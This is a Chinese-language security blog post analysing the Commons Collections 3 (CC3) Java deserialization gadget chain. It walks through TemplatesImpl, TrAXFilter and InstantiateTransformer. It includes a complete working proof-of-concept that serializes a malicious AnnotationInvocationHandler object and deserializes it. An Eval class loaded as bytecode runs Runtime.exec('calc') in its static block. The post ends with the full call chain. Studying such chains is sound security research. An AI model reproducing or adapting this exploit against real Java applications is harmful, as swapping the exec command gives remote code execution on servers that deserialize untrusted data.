JavaSec-CC3

Fc04dB Lv4

# CC3

CC3 就跟前两条链不太一样了,CC1 的利用链是 Map(Proxy).entrySet() 触发 AnnotationInvocationHandler.invoke() , 而 CC2 链的利用链是通过 InvokerTransformer.transform() 调用 newTransformer 触发 RCE。CC3 是执行静态代码块

CC3 采用的是动态加载类,也就是利用了 defineClass ,我们搜索哪些类有 defineClass , 找到这个 TemplatesImpl

defineTransletClasses 方法中调用了 defineClass

image-20240918170513821

这里有几个判断得注意,首先是 _bytecodes 不能为 null,然后就是 _tfactory 不能为 null,不过 _tfactory 在 readObject 方法里被赋值了,因此不用管,继续跟进看谁调用了 defineTransletClasses ,看 getTransletInstance , 得绕过第一个 if 判断,所以得反射赋值给 __name

image-20240918170646419

继续跟进看谁调用了 getTransletInstance ,现在基本有一个构造思路了,new 一个 TemplateIml 对象,然后调用 newTransformer 方法,从而去 defineClass

image-20240918170747660

分析一下 yso 的 CC3,可以看到它在 Transformer [] 里调用的是 InstantiateTransformer ,还引入了 TrAXFilter 这个类,我们追踪一下

img

首先 TrAXFilter 中会调用 newTransformer

image-20240919184731373

再看 InstantiateTransformer 的 transform 方法,获取构造器,再实例化,刚好可以触发 TrAXFilter

image-20240919184849059

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.Fc0;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("cc3.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws IOException, ClassNotFoundException {
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "1");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\JavaSec\\CC1\\src\\main\\java\\com\\Fc0\\Eval.class"));
byte[][] code = {bytes};
_bytecodes.set(templates, code);
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
Field ABSTRACT_TRANSLET = TemplatesImpl.class.getDeclaredField("ABSTRACT_TRANSLET");
ABSTRACT_TRANSLET.setAccessible(true);
ABSTRACT_TRANSLET.set(templates, "java.lang.Object");
// Transformer transformer = templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, decorate);
Map newMap = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = constructor.newInstance(Target.class, newMap);
serialize(o);
deserialize("cc3.bin");
}
}

Eval.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.Fc0;

import java.io.IOException;

public class Eval {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public static void main(String[] args) {

}
}

image-20240919185333919

# 利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

Java 安全之 Commons Collections3 分析 - nice_0e3 - 博客园 (cnblogs.com)

  • Title: JavaSec-CC3
  • Author: Fc04dB
  • Created at : 2024-09-18 17:18:59
  • Updated at : 2024-09-19 18:58:21
  • Link: https://redefine.ohevan.com/2024/09/18/JavaSec-CC3/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
JavaSec-CC3